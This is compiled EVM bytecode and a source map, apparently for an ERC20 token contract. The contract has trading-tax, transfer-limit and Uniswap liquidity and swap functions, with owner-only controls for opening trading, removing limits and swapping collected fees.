449190611831565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c79190611831565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610611573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106359190611831565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146106805760405162461bcd60e51b815260040161047e906117fc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106f15760405162461bcd60e51b815260040161047e906117fc565b6106fd6009600a6117d7565b61070b90633b9aca006117e5565b600f5561071a6009600a6117d7565b61072890633b9aca006117e5565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107626009600a6117d7565b61077090633b9aca006117e5565b60405190815260200160405180910390a1565b5f6103c4338484610acc565b5f546001600160a01b031633146107b85760405162461bcd60e51b815260040161047e906117fc565b601454600160a01b900460ff16156108125760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047e565b6013546001600160a01b031663f305d7194730610843816001600160a01b03165f9081526001602052604090205490565b5f806108565f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108bc573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108e1919061184c565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610936573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095a9190611877565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461099d5760405162461bcd60e51b815260040161047e906117fc565b6109a647610d8e565b565b6001600160a01b038316610a0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047e565b6001600160a01b038216610a6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047e565b6001600160a01b038216610b925760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047e565b5f8111610bf35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047e565b601454600160b01b900460ff161580610c155750601454600160a81b900460ff165b15610cbd576001600160a01b0383165f90815260016020526040902054610c3c9082610dcd565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6a9082610e15565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610abf9085815260200190565b5f610cc9848484610e73565b9050610cf6610cd88383610dcd565b6001600160a01b0385165f9081526001602052604090205490610e15565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d3f8585610dcd565b60405190815260200160405180910390a350505050565b5f8184841115610d795760405162461bcd60e51b815260040161047e91906115c6565b505f610d858486611896565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610dc9573d5f803e3d5ffd5b5050565b5f610e0e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d56565b9392505050565b5f80610e2183856118a9565b905083811015610e0e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047e565b5f80610e865f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610eb457505f546001600160a01b03858116911614155b1561122c57610ee56064610edf600b54600e5411610ed457600754610ed8565b6009545b8690611283565b90611301565b60065490915060ff1615610fcb576013546001600160a01b03858116911614801590610f1f57506014546001600160a01b03858116911614155b15610fcb57325f908152600560205260409020544311610fb95760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047e565b325f9081526005602052604090204390555b6014546001600160a01b038681169116148015610ff657506013546001600160a01b03858116911614155b801561101a57506001600160a01b0384165f9081526003602052604090205460ff16155b1561110057600f548311156110715760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047e565b60105483611093866001600160a01b03165f9081526001602052604090205490565b61109d91906118a9565b11156110eb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047e565b600e8054905f6110fa836118bc565b91905055505b6014546001600160a01b03858116911614801561112657506001600160a01b0385163014155b15611153576111506064610edf600c54600e541161114657600854610ed8565b600a548690611283565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561118957506014546001600160a01b038681169116145b801561119e5750601454600160b01b900460ff165b80156111ad5750600d54600e54115b80156111d157506001600160a01b0386165f9081526003602052604090205460ff16155b80156111f557506001600160a01b0385165f9081526003602052604090205460ff16155b1561122a576011548111156112215761122161121c8561121784601254611342565b611342565b611356565b61122a47610d8e565b505b6001600160a01b03841630148061125b57506001600160a01b0385165f9081526003602052604090205460ff16155b8061126d57506001600160a01b038516155b6112775780610d85565b610d85858585846114c6565b5f825f0361129257505f6103c8565b5f61129d83856117e5565b9050826112aa85836118d4565b14610e0e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047e565b5f610e0e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061159a565b5f8183116113505782610e0e565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061139c5761139c6118f3565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114179190611831565b8160018151811061142a5761142a6118f3565b6001600160a01b03928316602091820292909201015260135461145091309116846109a8565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114889085905f90869030904290600401611907565b5f604051808303815f87803b15801561149f575f80fd5b505af11580156114b1573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f6001600160a01b03841630148015906114df57505f82115b1561155657305f908152600160205260409020546114fd9083610e15565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061154d9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546115789084610dcd565b6001600160a01b0386165f908152600160205260409020555080949350505050565b5f81836115ba5760405162461bcd60e51b815260040161047e91906115c6565b505f610d8584866118d4565b5f602080835283518060208501525f5b818110156115f2578581018301518582016040015282016115d6565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611626575f80fd5b50565b5f806040838503121561163a575f80fd5b823561164581611612565b946020939093013593505050565b5f805f60608486031215611665575f80fd5b833561167081611612565b9250602084013561168081611612565b929592945050506040919091013590565b5f602082840312156116a1575f80fd5b8135610e0e81611612565b5f80604083850312156116bd575f80fd5b82356116c881611612565b915060208301356116d881611612565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561173157815f1904821115611717576117176116e3565b8085161561172457918102915b93841c93908002906116fc565b509250929050565b5f82611747575060016103c8565b8161175357505f6103c8565b816001811461176957600281146117735761178f565b60019150506103c8565b60ff841115611784576117846116e3565b50506001821b6103c8565b5060208310610133831016604e8410600b84101617156117b2575081810a6103c8565b6117bc83836116f7565b805f19048211156117cf576117cf6116e3565b029392505050565b5f610e0e60ff841683611739565b80820281158282048414176103c8576103c86116e3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611841575f80fd5b8151610e0e81611612565b5f805f6060848603121561185e575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611887575f80fd5b81518015158114610e0e575f80fd5b818103818111156103c8576103c86116e3565b808201808211156103c8576103c86116e3565b5f600182016118cd576118cd6116e3565b5060010190565b5f826118ee57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122055bb20be4b8a82b9d6dc1cf93a263696707b844fed3ce05d9bfa07a2a987121e64736f6c63430008180033

4278:9603:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6662:83;;;;;;;;;;-1:-1:-1;6732:5:0;;;;;;;;;;;;-1:-1:-1;;;6732:5:0;;;;6662:83;;;;;;;:::i;:::-;;;;;;;;7545:186;;;;;;;;;;-1:-1:-1;7545:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7545:186:0;1023:187:1;5505:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5505:55:0;1215:177:1;6939:95:0;;;;;;;;;;;;;:::i;7739:446::-;;;;;;;;;;-1:-1:-1;7739:446:0;;;;;:::i;:::-;;:::i;6848:83::-;;;;;;;;;;-1:-1:-1;6848:83:0;;5120:1;2000:36:1;;1988:2;1973:18;6848:83:0;1858:184:1;6264:390:0;;;;;;;;;;;;;:::i;:::-;;7042:119;;;;;;;;;;-1:-1:-1;7042:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7135:18:0;7108:7;7135:18;;;:9;:18;;;;;;;7042:119;2665:148;;;;;;;;;;;;;:::i;13047:201::-;;;;;;;;;;;;;:::i;5314:56::-;;;;;;;;;;;;;;;;2451:79;;;;;;;;;;-1:-1:-1;2489:7:0;2516:6;2451:79;;-1:-1:-1;;;;;2516:6:0;;;2445:51:1;;2433:2;2418:18;2451:79:0;2299:203:1;5377:58:0;;;;;;;;;;;;;;;;6753:87;;;;;;;;;;-1:-1:-1;6825:7:0;;;;;;;;;;;;-1:-1:-1;;;6825:7:0;;;;6753:87;;7169:192;;;;;;;;;;-1:-1:-1;7169:192:0;;;;;:::i;:::-;;:::i;5442:56::-;;;;;;;;;;;;;;;;4660:40;;;;;;;;;;-1:-1:-1;4660:40:0;;;;;;;;13393:485;;;;;;;;;;;;;:::i;12945:94::-;;;;;;;;;;;;;:::i;7369:168::-;;;;;;;;;;-1:-1:-1;7369:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7502:18:0;;;7475:7;7502:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7369:168;7545:186;7645:4;7662:39;2084:10;7685:7;7694:6;7662:8;:39::i;:::-;-1:-1:-1;7719:4:0;7545:186;;;;;:::o;6939:95::-;6992:7;5176:15;5120:1;5176:2;:15;:::i;:::-;5163:28;;:10;:28;:::i;:::-;7012:14;;6939:95;:::o;7739:446::-;7871:4;7888:36;7898:6;7906:9;7917:6;7888:9;:36::i;:::-;7935:220;7958:6;2084:10;8006:138;8062:6;8006:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8006:19:0;;;;;;:11;:19;;;;;;;;2084:10;8006:33;;;;;;;;;;:37;:138::i;:::-;7935:8;:220::i;:::-;-1:-1:-1;8173:4:0;7739:446;;;;;:::o;6264:390::-;2578:6;;-1:-1:-1;;;;;2578:6:0;2084:10;2578:22;2570:67;;;;-1:-1:-1;;;2570:67:0;;;;;;;:::i;:::-;;;;;;;;;6315:15:::1;:104:::0;;-1:-1:-1;;;;;;6315:104:0::1;6366:42;6315:104:::0;;::::1;::::0;;;6430:58:::1;::::0;6447:4:::1;::::0;5176:15:::1;5120:1;5176:2;:15;:::i;:::-;5163:28;::::0;:10:::1;:28;:::i;6430:58::-;6533:15;;;;;;;;;-1:-1:-1::0;;;;;6533:15:0::1;-1:-1:-1::0;;;;;6533:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6515:55:0::1;;6593:4;6613:15;;;;;;;;;-1:-1:-1::0;;;;;6613:15:0::1;-1:-1:-1::0;;;;;6613:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6515:131;::::0;-1:-1:-1;;;;;;6515:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5429:15:1;;;6515:131:0::1;::::0;::::1;5411:34:1::0;5481:15;;5461:18;;;5454:43;5346:18;;6515:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6499:13;:147:::0;;-1:-1:-1;;;;;;6499:147:0::1;-1:-1:-1::0;;;;;6499:147:0;;;::::1;::::0;;;::::1;::::0;;6264:390::o;2665:148::-;2578:6;;-1:-1:-1;;;;;2578:6:0;2084:10;2578:22;2570:67;;;;-1:-1:-1;;;2570:67:0;;;;;;;:::i;:::-;2772:1:::1;2756:6:::0;;2735:40:::1;::::0;-1:-1:-1;;;;;2756:6:0;;::::1;::::0;2735:40:::1;::::0;2772:1;;2735:40:::1;2803:1;2786:19:::0;;-1:-1:-1;;;;;;2786:19:0::1;::::0;;2665:148::o;13047:201::-;2578:6;;-1:-1:-1;;;;;2578:6:0;2084:10;2578:22;2570:67;;;;-1:-1:-1;;;2570:67:0;;;;;;;:::i;:::-;5176:15:::1;5120:1;5176:2;:15;:::i;:::-;5163:28;::::0;:10:::1;:28;:::i;:::-;13101:12;:22:::0;5176:15:::1;5120:1;5176:2;:15;:::i;:::-;5163:28;::::0;:10:::1;:28;:::i;:::-;13134:14;:24:::0;13169:20:::1;:28:::0;;-1:-1:-1;;13169:28:0::1;::::0;;13213:27:::1;5176:15;5120:1;-1:-1:-1::0;5176:15:0::1;:::i;:::-;5163:28;::::0;:10:::1;:28;:::i;:::-;13213:27;::::0;1361:25:1;;;1349:2;1334:18;13213:27:0::1;;;;;;;13047:201::o:0;7169:192::-;7272:4;7289:42;2084:10;7313:9;7324:6;7289:9;:42::i;13393:485::-;2578:6;;-1:-1:-1;;;;;2578:6:0;2084:10;2578:22;2570:67;;;;-1:-1:-1;;;2570:67:0;;;;;;;:::i;:::-;13455:11:::1;::::0;-1:-1:-1;;;13455:11:0;::::1;;;13454:12;13446:48;;;::::0;-1:-1:-1;;;13446:48:0;;5710:2:1;13446:48:0::1;::::0;::::1;5692:21:1::0;5749:2;5729:18;;;5722:30;5788:25;5768:18;;;5761:53;5831:18;;13446:48:0::1;5508:347:1::0;13446:48:0::1;13507:15;::::0;-1:-1:-1;;;;;13507:15:0::1;:31;13546:21;13591:4;13611:24;13591:4:::0;-1:-1:-1;;;;;7135:18:0;7108:7;7135:18;;;:9;:18;;;;;;;7042:119;13611:24:::1;13650:1;13666::::0;13682:7:::1;2489::::0;2516:6;-1:-1:-1;;;;;2516:6:0;;2451:79;13682:7:::1;13507:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13507:223:0;;;-1:-1:-1;;;;;6219:15:1;;;13507:223:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;13704:15:0::1;6433:19:1::0;;;6426:35;6135:19;;13507:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13748:13:0::1;::::0;13779:15:::1;::::0;13741:71:::1;::::0;-1:-1:-1;;;13741:71:0;;-1:-1:-1;;;;;13779:15:0;;::::1;13741:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;13748:13:0;::::1;::::0;-1:-1:-1;13741:29:0::1;::::0;6930:18:1;;13741:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13823:11:0::1;:18:::0;;-1:-1:-1;;;;13852:18:0;-1:-1:-1;;;13852:18:0;;;13393:485::o;12945:94::-;2578:6;;-1:-1:-1;;;;;2578:6:0;2084:10;2578:22;2570:67;;;;-1:-1:-1;;;2570:67:0;;;;;;;:::i;:::-;12996:35:::1;13009:21;12996:12;:35::i;:::-;12945:94::o:0;8193:335::-;-1:-1:-1;;;;;8286:19:0;;8278:68;;;;-1:-1:-1;;;8278:68:0;;7546:2:1;8278:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;8278:68:0;7344:400:1;8278:68:0;-1:-1:-1;;;;;8365:21:0;;8357:68;;;;-1:-1:-1;;;8357:68:0;;7951:2:1;8357:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;8357:68:0;7749:398:1;8357:68:0;-1:-1:-1;;;;;8436:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8488:32;;1361:25:1;;;8488:32:0;;1334:18:1;8488:32:0;;;;;;;;8193:335;;;:::o;8536:728::-;-1:-1:-1;;;;;8624:18:0;;8616:68;;;;-1:-1:-1;;;8616:68:0;;8354:2:1;8616:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;8616:68:0;8152:401:1;8616:68:0;-1:-1:-1;;;;;8703:16:0;;8695:64;;;;-1:-1:-1;;;8695:64:0;;8760:2:1;8695:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;8695:64:0;8558:399:1;8695:64:0;8787:1;8778:6;:10;8770:64;;;;-1:-1:-1;;;8770:64:0;;9164:2:1;8770:64:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;8770:64:0;8962:405:1;8770:64:0;8850:11;;-1:-1:-1;;;8850:11:0;;;;8849:12;;:22;;-1:-1:-1;8865:6:0;;-1:-1:-1;;;8865:6:0;;;;8849:22;8845:223;;;-1:-1:-1;;;;;8906:15:0;;;;;;:9;:15;;;;;;:27;;8926:6;8906:19;:27::i;:::-;-1:-1:-1;;;;;8888:15:0;;;;;;;:9;:15;;;;;;:45;;;;8964:13;;;;;;;:25;;8982:6;8964:17;:25::i;:::-;-1:-1:-1;;;;;8948:13:0;;;;;;;:9;:13;;;;;;;:41;;;;9009:26;;;;;;;;;;9028:6;1361:25:1;;1349:2;1334:18;;1215:177;8845:223:0;9088:15;9106:30;9119:4;9125:2;9129:6;9106:12;:30::i;:::-;9088:48;-1:-1:-1;9163:38:0;9181:19;:6;9088:48;9181:10;:19::i;:::-;-1:-1:-1;;;;;9163:13:0;;;;;;:9;:13;;;;;;;:17;:38::i;:::-;-1:-1:-1;;;;;9147:13:0;;;;;;;:9;:13;;;;;:54;;;;9217:39;;;9236:19;:6;9247:7;9236:10;:19::i;:::-;9217:39;;1361:25:1;;;1349:2;1334:18;9217:39:0;;;;;;;8605:659;8536:728;;;:::o;964:224::-;1084:7;1120:12;1112:6;;;;1104:29;;;;-1:-1:-1;;;1104:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1144:9:0;1156:5;1160:1;1156;:5;:::i;:::-;1144:17;964:224;-1:-1:-1;;;;;964:224:0:o;13256:92::-;13313:10;;:27;;:10;;;;-1:-1:-1;;;;;13313:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;13256:92;:::o;820:136::-;878:7;905:43;909:1;912;905:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;898:50;820:136;-1:-1:-1;;;820:136:0:o;633:179::-;691:7;;723:5;727:1;723;:5;:::i;:::-;711:17;;752:1;747;:6;;739:46;;;;-1:-1:-1;;;739:46:0;;9837:2:1;739:46:0;;;9819:21:1;9876:2;9856:18;;;9849:30;9915:29;9895:18;;;9888:57;9962:18;;739:46:0;9635:351:1;9744:2587:0;9824:7;;9887;2489;2516:6;-1:-1:-1;;;;;2516:6:0;;2451:79;9887:7;-1:-1:-1;;;;;9879:15:0;:4;-1:-1:-1;;;;;9879:15:0;;;:32;;;;-1:-1:-1;2489:7:0;2516:6;-1:-1:-1;;;;;9898:13:0;;;2516:6;;9898:13;;9879:32;9875:2261;;;9938:208;10142:3;9938:181;10002:15;;9990:9;;:27;9989:111;;10086:14;;9989:111;;;10046:12;;9989:111;9938:6;;:28;:181::i;:::-;:203;;:208::i;:::-;10167:20;;9928:218;;-1:-1:-1;10167:20:0;;10163:522;;;10248:15;;-1:-1:-1;;;;;10234:30:0;;;10248:15;;10234:30;;;;:83;;-1:-1:-1;10303:13:0;;-1:-1:-1;;;;;10289:28:0;;;10303:13;;10289:28;;10234:83;10208:462;;;10423:9;10394:39;;;;:28;:39;;;;;;10436:12;-1:-1:-1;10360:213:0;;;;-1:-1:-1;;;10360:213:0;;10193:2:1;10360:213:0;;;10175:21:1;10232:2;10212:18;;;10205:30;10271:34;10251:18;;;10244:62;10342:34;10322:18;;;10315:62;-1:-1:-1;;;10393:19:1;;;10386:40;10443:19;;10360:213:0;9991:477:1;10360:213:0;10625:9;10596:39;;;;:28;:39;;;;;10638:12;10596:54;;10208:462;10731:13;;-1:-1:-1;;;;;10723:21:0;;;10731:13;;10723:21;:72;;;;-1:-1:-1;10779:15:0;;-1:-1:-1;;;;;10765:30:0;;;10779:15;;10765:30;;10723:72;:116;;;;-1:-1:-1;;;;;;10817:22:0;;;;;;:18;:22;;;;;;;;10816:23;10723:116;10701:438;;;10892:12;;10882:6;:22;;10874:60;;;;-1:-1:-1;;;10874:60:0;;10675:2:1;10874:60:0;;;10657:21:1;10714:2;10694:18;;;10687:30;10753:27;10733:18;;;10726:55;10798:18;;10874:60:0;10473:349:1;10874:60:0;11009:14;;10999:6;10983:13;10993:2;-1:-1:-1;;;;;7135:18:0;7108:7;7135:18;;;:9;:18;;;;;;;7042:119;10983:13;:22;;;;:::i;:::-;:40;;10953:140;;;;-1:-1:-1;;;10953:140:0;;11029:2:1;10953:140:0;;;11011:21:1;11068:2;11048:18;;;11041:30;11107:28;11087:18;;;11080:56;11153:18;;10953:140:0;10827:350:1;10953:140:0;11112:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10701:438;11165:13;;-1:-1:-1;;;;;11159:19:0;;;11165:13;;11159:19;:44;;;;-1:-1:-1;;;;;;11182:21:0;;11198:4;11182:21;;11159:44;11155:330;;;11234:235;11465:3;11234:204;11306:16;;11294:9;;:28;11293:122;;11400:15;;11293:122;;;11355:13;;11234:6;;:32;:204::i;:235::-;11224:245;;11155:330;11550:4;11501:28;7135:18;;;:9;:18;;;;;;11594:6;;-1:-1:-1;;;11594:6:0;;;;11593:7;:47;;;;-1:-1:-1;11627:13:0;;-1:-1:-1;;;;;11621:19:0;;;11627:13;;11621:19;11593:47;:79;;;;-1:-1:-1;11661:11:0;;-1:-1:-1;;;11661:11:0;;;;11593:79;:130;;;;;11705:18;;11693:9;;:30;11593:130;:176;;;;-1:-1:-1;;;;;;11745:24:0;;;;;;:18;:24;;;;;;;;11744:25;11593:176;:220;;;;-1:-1:-1;;;;;;11791:22:0;;;;;;:18;:22;;;;;;;;11790:23;11593:220;11571:553;;;11874:17;;11851:20;:40;11848:205;;;11916:117;11959:51;11963:6;11971:38;11975:20;11997:11;;11971:3;:38::i;:::-;11959:3;:51::i;:::-;11916:16;:117::i;:::-;12073:35;12086:21;12073:12;:35::i;:::-;9913:2223;9875:2261;-1:-1:-1;;;;;12153:17:0;;12165:4;12153:17;;:60;;-1:-1:-1;;;;;;12189:24:0;;;;;;:18;:24;;;;;;;;12188:25;12153:60;:94;;;-1:-1:-1;;;;;;12231:16:0;;;12153:94;:170;;12316:7;12153:170;;;12263:36;12273:4;12279:2;12283:6;12291:7;12263:9;:36::i;1196:246::-;1254:7;1278:1;1283;1278:6;1274:47;;-1:-1:-1;1308:1:0;1301:8;;1274:47;1331:9;1343:5;1347:1;1343;:5;:::i;:::-;1331:17;-1:-1:-1;1376:1:0;1367:5;1371:1;1331:17;1367:5;:::i;:::-;:10;1359:56;;;;-1:-1:-1;;;1359:56:0;;11746:2:1;1359:56:0;;;11728:21:1;11785:2;11765:18;;;11758:30;11824:34;11804:18;;;11797:62;-1:-1:-1;;;11875:18:1;;;11868:31;11916:19;;1359:56:0;11544:397:1;1450:132:0;1508:7;1535:39;1539:1;1542;1535:39;;;;;;;;;;;;;;;;;:3;:39::i;12339:107::-;12396:7;12428:1;12424;:5;12423:15;;12437:1;12423:15;;;-1:-1:-1;12433:1:0;12339:107;-1:-1:-1;12339:107:0:o;12454:483::-;5844:6;:13;;-1:-1:-1;;;;5844:13:0;-1:-1:-1;;;5844:13:0;;;12556:16:::1;::::0;;12570:1:::1;12556:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12556:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12556:16:0::1;12532:40;;12601:4;12583;12588:1;12583:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12583:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12627:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12627:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12583:7;;12627:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12617:4;12622:1;12617:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12617:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12692:15:::1;::::0;12660:62:::1;::::0;12677:4:::1;::::0;12692:15:::1;12710:11:::0;12660:8:::1;:62::i;:::-;12733:15;::::0;:196:::1;::::0;-1:-1:-1;;;12733:196:0;;-1:-1:-1;;;;;12733:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12814:11;;12733:15:::1;::::0;12856:4;;12883::::1;::::0;12903:15:::1;::::0;12733:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5880:6:0;:14;;-1:-1:-1;;;;5880:14:0;;;-1:-1:-1;;;;12454:483:0:o;9272:464::-;9410:7;-1:-1:-1;;;;;9434:19:0;;9448:4;9434:19;;;;:34;;;9467:1;9457:7;:11;9434:34;9430:221;;;9530:4;9512:24;;;;:9;:24;;;;;;:69;;9559:7;9512:28;:69::i;:::-;9503:4;9485:24;;;;:9;:24;;;;;;;:96;;;;9601:38;;-1:-1:-1;;;;;9601:38:0;;;;;;;9631:7;1361:25:1;;1349:2;1334:18;;1215:177;9601:38:0;;;;;;;;9430:221;-1:-1:-1;;;;;9685:15:0;;;;;;:9;:15;;;;;;:27;;9705:6;9685:19;:27::i;:::-;-1:-1:-1;;;;;9667:15:0;;;;;;:9;:15;;;;;:45;-1:-1:-1;9721:7:0;9272:464;;;;;;:::o;1590:223::-;1710:7;1745:12;1738:5;1730:28;;;;-1:-1:-1;;;1730:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1769:9:0;1781:5;1785:1;1781;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;